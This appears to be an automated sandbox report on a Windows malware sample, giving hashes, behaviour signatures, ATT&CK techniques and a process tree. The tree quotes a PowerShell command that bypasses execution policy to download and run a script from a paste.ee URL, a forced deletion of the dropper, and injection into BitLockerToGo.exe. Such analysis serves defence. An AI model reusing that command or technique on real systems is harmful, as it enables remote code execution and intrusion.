Analysis
-
max time kernel
133s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
29-10-2024 02:23
Static task
static1
Behavioral task
behavioral1
Sample
5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe
Resource
win10v2004-20241007-en
General
-
Target
5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe
-
Size
16.0MB
-
MD5
2dc8cdf825e23ff1df1ad11b3a6f1973
-
SHA1
82af57e0e6d7cf944148d3a16d7c8ca94fa982f8
-
SHA256
5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0
-
SHA512
3f20bb95a167d10a2998a63ab0ccd69fe81822d24a39d868d019ac0ff890067c23c015dc0be531d9531be26d6d3f44d7f11c23214ba4778e038b6844f8c8879b
-
SSDEEP
98304:dKulY9+o0L82IacWOEF8xbADr/xLCqjqdYCDBvYuSHFCxMg:DZVyj8/tCGiBdSHF7g
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 27 1476 powershell.exe -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
-
Suspicious use of SetThreadContext 1 IoCs
Processes:
5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exedescription pid process target process PID 3908 set thread context of 1848 3908 5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe BitLockerToGo.exe -
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exeBitLockerToGo.exepowershell.execmd.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language BitLockerToGo.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1476 powershell.exe 1476 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1476 powershell.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exeBitLockerToGo.exedescription pid process target process PID 3908 wrote to memory of 1848 3908 5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe BitLockerToGo.exe PID 3908 wrote to memory of 1848 3908 5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe BitLockerToGo.exe PID 3908 wrote to memory of 1848 3908 5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe BitLockerToGo.exe PID 3908 wrote to memory of 1848 3908 5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe BitLockerToGo.exe PID 3908 wrote to memory of 1848 3908 5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe BitLockerToGo.exe PID 3908 wrote to memory of 1848 3908 5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe BitLockerToGo.exe PID 3908 wrote to memory of 1848 3908 5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe BitLockerToGo.exe PID 3908 wrote to memory of 1848 3908 5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe BitLockerToGo.exe PID 3908 wrote to memory of 1848 3908 5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe BitLockerToGo.exe PID 3908 wrote to memory of 1848 3908 5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe BitLockerToGo.exe PID 1848 wrote to memory of 1476 1848 BitLockerToGo.exe powershell.exe PID 1848 wrote to memory of 1476 1848 BitLockerToGo.exe powershell.exe PID 1848 wrote to memory of 1476 1848 BitLockerToGo.exe powershell.exe PID 1848 wrote to memory of 4184 1848 BitLockerToGo.exe cmd.exe PID 1848 wrote to memory of 4184 1848 BitLockerToGo.exe cmd.exe PID 1848 wrote to memory of 4184 1848 BitLockerToGo.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe"C:\Users\Admin\AppData\Local\Temp\5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1848 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://paste.ee/d/7BWJv" ) ) )"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1476 -
C:\Windows\SysWOW64\cmd.execmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"3⤵
- System Location Discovery: System Language Discovery
PID:4184
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82